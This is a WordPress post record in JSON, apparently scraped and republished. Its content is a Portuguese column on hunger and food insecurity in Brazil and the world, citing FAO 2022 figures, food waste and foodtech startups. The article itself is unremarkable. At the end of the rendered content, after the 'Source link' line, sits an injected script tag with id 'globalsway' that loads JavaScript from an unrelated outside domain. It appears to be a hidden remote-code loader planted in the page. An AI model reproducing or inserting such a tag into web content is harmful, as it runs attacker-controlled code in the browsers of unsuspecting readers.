{"id":3026,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/inseguranca-alimentar-no-brasil-e-no-mundo\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"inseguranca-alimentar-no-brasil-e-no-mundo","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/inseguranca-alimentar-no-brasil-e-no-mundo\/","title":{"rendered":"Inseguran\u00e7a alimentar no Brasil e no mundo"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Cerca de <a href=\"http:\/\/www.wfp.org\/hunger-catastrophe\" target=\"_blank\" rel=\"noopener\">828 milh\u00f5es<\/a> de pessoas v\u00e3o para a cama com fome todas as noites. \u00c9 o que mostra o relat\u00f3rio &#8220;<a href=\"http:\/\/www.fao.org\/documents\/card\/en\/c\/cc0640en\" target=\"_blank\" rel=\"noopener\">Estado da Seguran\u00e7a Alimentar e Nutri\u00e7\u00e3o no Mundo (SOFI) 2022<\/a>&#8221; publicado em junho pela FAO (Organiza\u00e7\u00e3o das Na\u00e7\u00f5es Unidas para a Alimenta\u00e7\u00e3o e Agricultura).<\/p>\n<p>Depois de permanecer quase inalterado desde 2015, o n\u00famero de pessoas afetadas pela fome cresceu em quase 150 milh\u00f5es desde o in\u00edcio da pandemia \u2014mais 103 milh\u00f5es entre 2019 e 2020 e outros 46 milh\u00f5es em 2021.<\/p>\n<div class=\"slot-m\">\n<div class=\"blogs-and-columns-recommendation skeleton\" data-minsize=\"3\" ia-blocked=\"\"><template class=\"replacement-template\"><\/p>\n<div class=\"thumbnail-standard col-xs-8 col-sm-8 alignmentSide\">\n<div class=\"thumbnail-standard-wrapper\"><a href=\"\" class=\"link\" data-audience-click=\"\"><\/p>\n<figure class=\"thumb-image\">\n<div><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" alt=\"\" src=\"\"\/><\/div>\n<\/figure>\n<p><\/a><\/div>\n<\/div>\n<p><\/template><\/div>\n<\/p><\/div>\n<p>A fome mundial aumentou ainda mais em 2021, como reflexo das profundas desigualdades dentro e entre os pa\u00edses durante a recupera\u00e7\u00e3o econ\u00f4mica no per\u00edodo p\u00f3s-crise sanit\u00e1ria, conforme aponta o relat\u00f3rio.<\/p>\n<p>E as proje\u00e7\u00f5es n\u00e3o s\u00e3o nada otimistas: aproximadamente 670 milh\u00f5es de pessoas ainda dever\u00e3o passar fome at\u00e9 2030 \u2014cerca de 8% da popula\u00e7\u00e3o mundial. O n\u00famero \u00e9 o mesmo daquele observado em 2015, ano em que foi lan\u00e7ada a Agenda para o Desenvolvimento Sustent\u00e1vel, tamb\u00e9m conhecida como Agenda 2030.<\/p>\n<p>Esse esfor\u00e7o liderado pela Organiza\u00e7\u00e3o das Na\u00e7\u00f5es Unidas (ONU) elegeu como uma de suas prioridades o combate \u00e0 pobreza e \u00e0 fome. Ser\u00e1 absolutamente triste reconhecer que, passados 15 anos, corremos o risco de n\u00e3o alcan\u00e7ar qualquer avan\u00e7o em temas t\u00e3o fundamentais para a dignidade humana.<\/p>\n<p>No Brasil, a situa\u00e7\u00e3o tamb\u00e9m \u00e9 grave.<\/p>\n<p>De acordo com o relat\u00f3rio da FAO, mais de 60 milh\u00f5es de brasileiros enfrentaram algum tipo de inseguran\u00e7a alimentar \u2014ou seja, 3 em cada 10 habitantes do pa\u00eds.<\/p>\n<p>Os \u00faltimos n\u00fameros da pesquisa revelam uma piora preocupante da fome no nosso pa\u00eds, uma vez que entre 2014 e 2016, a inseguran\u00e7a alimentar atingia 37,5 milh\u00f5es de pessoas e 3,9 milh\u00f5es estavam em condi\u00e7\u00e3o grave.<\/p>\n<p>O Brasil tamb\u00e9m voltou ao Mapa da Fome da ONU. Segundo dados da SOFI 2022, a Preval\u00eancia de Subalimenta\u00e7\u00e3o (PoU) entre os anos de 2019 e 2021 foi de 4,1%, representando cerca de 8,6 milh\u00f5es de pessoas. Segundo a FAO, um pa\u00eds passa a integrar o Mapa da Fome quando apresenta uma PoU maior que 2,5%.<\/p>\n<h2>Abund\u00e2ncia e escassez<\/h2>\n<p>O paradoxo da inseguran\u00e7a alimentar \u00e9 revoltante. Nele, a produ\u00e7\u00e3o de alimentos, os desperd\u00edcios e uma popula\u00e7\u00e3o com fome extrema coexistem simultaneamente.<\/p>\n<p>Em 2021, o Brasil alcan\u00e7ou uma produ\u00e7\u00e3o suficiente para <a href=\"https:\/\/economia.uol.com.br\/noticias\/reuters\/2021\/03\/04\/producao-agricola-do-brasil-alimenta-10-do-mundo-diz-estudo-da-embrapa.htm\" target=\"_blank\" rel=\"noopener\">alimentar 1,6 bilh\u00e3o de pessoas<\/a>. No mesmo ano, a ind\u00fastria de alimentos alcan\u00e7ou um faturamento de R$ 922,6 bilh\u00f5es, representando um aumento de 16,9% em rela\u00e7\u00e3o ao ano anterior.<\/p>\n<p>Em meio a tanta abund\u00e2ncia, um n\u00famero choca: <a href=\"https:\/\/noticias.uol.com.br\/colunas\/carlos-madeiro\/2022\/06\/08\/fome-atinge-33-milhoes-de-pessoas-e-pais-retrocede-a-anos-90-diz-pesquisa.htm\" target=\"_blank\" rel=\"noopener\">33,1 milh\u00f5es<\/a>. \u00c9 o total de pessoas que, hoje, est\u00e3o em situa\u00e7\u00e3o de inseguran\u00e7a alimentar grave. Em outras palavras, 15,5% de toda a nossa popula\u00e7\u00e3o passa fome todos os dias.<\/p>\n<p>Diante desse cen\u00e1rio, a primeira pergunta que nos vem \u00e0 mente \u00e9: por que produzimos tanto e, ainda assim, estamos t\u00e3o famintos?<\/p>\n<p>Um problema t\u00e3o complexo n\u00e3o tem uma resposta t\u00e3o simples. Segundo <a href=\"https:\/\/www.youtube.com\/watch?v=5DSl7w8t3Cs\" target=\"_blank\" rel=\"noopener\">especialistas<\/a>, h\u00e1 fatores mais conjunturais, como a pandemia de covid-19, os conflitos geopol\u00edticos, como a guerra na Ucr\u00e2nia, e a infla\u00e7\u00e3o que atinge todos os pa\u00edses de uma economia globalizada.<\/p>\n<p>Mas h\u00e1 tamb\u00e9m quest\u00f5es estruturais, como as desigualdades sociais, os efeitos da mudan\u00e7a clim\u00e1tica, al\u00e9m de perdas e desperd\u00edcios na produ\u00e7\u00e3o e no consumo de alimentos.<\/p>\n<p>Segundo dados apresentados pelo Programa de Meio Ambiente da ONU, <a href=\"https:\/\/www.unep.org\/resources\/report\/unep-food-waste-index-report-2021\" target=\"_blank\" rel=\"noopener\">17% dos alimentos produzidos em 2021 foram perdidos ou desperdi\u00e7ados<\/a>. Recursos valiosos da natureza s\u00e3o utilizados para, literalmente, nada; e as perdas e desperd\u00edcios s\u00e3o respons\u00e1veis por assustadores <a href=\"https:\/\/updates.panda.org\/driven-to-waste-report#:~:text=Based%20on%20the%20new%20data,in%20the%20US%20and%20Europe.\" target=\"_blank\" rel=\"noopener\">10% das emiss\u00f5es de gases do efeito estufa<\/a>, respons\u00e1veis pelo processo de mudan\u00e7a clim\u00e1tica que temos vivenciado.<\/p>\n<p>O combate \u00e0 fome deve ser encarado como um desafio urgente e coletivo.<\/p>\n<p>Como sociedade, \u00e9 inadmiss\u00edvel seguir aceitando a coexist\u00eancia de abund\u00e2ncia e escassez.<\/p>\n<p>N\u00e3o ser\u00e1 f\u00e1cil, \u00e9 verdade, mas podemos contar com as centenas de tecnologias que surgem a todo o momento e que nascem com o objetivo de construir um ciclo de produ\u00e7\u00e3o mais eficiente, sustent\u00e1vel e acess\u00edvel. O mercado de foodtechs e agritechs recebeu um investimento de US$ 10,7 bilh\u00f5es entre 2020 e 2021, um aumento de 132% em rela\u00e7\u00e3o ao per\u00edodo anterior, segundo <a href=\"https:\/\/www.pwc.com\/gx\/en\/sustainability\/publications\/assets\/pwc-state-of-climate-tech-report.pdf\" target=\"_blank\" rel=\"noopener\">dados<\/a> da PwC.<\/p>\n<p>Em 2019, <a href=\"http:\/\/govtech.blogosfera.uol.com.br\/2019\/11\/23\/como-startups-estao-atuando-para-conter-o-desperdicio-mundial-de-comida\/\" target=\"_blank\" rel=\"noopener\">j\u00e1 discuti sobre o potencial das foodtechs<\/a> e destacava como essa seria uma agenda fundamental para o nosso futuro.<\/p>\n<p>A inseguran\u00e7a alimentar tem sido um tema central para o BrazilLAB, que j\u00e1 acelerou muitas govtechs e suas solu\u00e7\u00f5es para o combate \u00e0 fome, por exemplo, a <a href=\"https:\/\/www.begreen.farm\/\" target=\"_blank\" rel=\"noopener\">BeGreen<\/a>, a maior rede de fazendas urbanas da Am\u00e9rica Latina, um modelo inovador e que traz mais efici\u00eancia \u00e0 produ\u00e7\u00e3o e ao transporte de alimentos.<\/p>\n<p>N\u00e3o tenho d\u00favidas de que o Brasil pode ser um protagonista nas discuss\u00f5es globais sobre a seguran\u00e7a alimentar mas, para isso, ser\u00e1 preciso olhar com aten\u00e7\u00e3o para as nossas pol\u00edticas internas, trabalhar na recupera\u00e7\u00e3o da nossa reputa\u00e7\u00e3o internacional, investir no desenvolvimento cient\u00edfico e, acima de tudo, trabalhar pela prote\u00e7\u00e3o dos nossos recursos naturais e pelo direito das pessoas.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/leticia-piccolotto\/2022\/08\/07\/o-desafio-da-inseguranca-alimentar-e-como-podemos-combate-la.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cerca de 828 milh\u00f5es de pessoas v\u00e3o para a cama com fome todas as noites. \u00c9 o que mostra o relat\u00f3rio &#8220;Estado da Seguran\u00e7a Alimentar e Nutri\u00e7\u00e3o no Mundo (SOFI) 2022&#8221; publicado em junho pela FAO (Organiza\u00e7\u00e3o das Na\u00e7\u00f5es Unidas para a Alimenta\u00e7\u00e3o e Agricultura). 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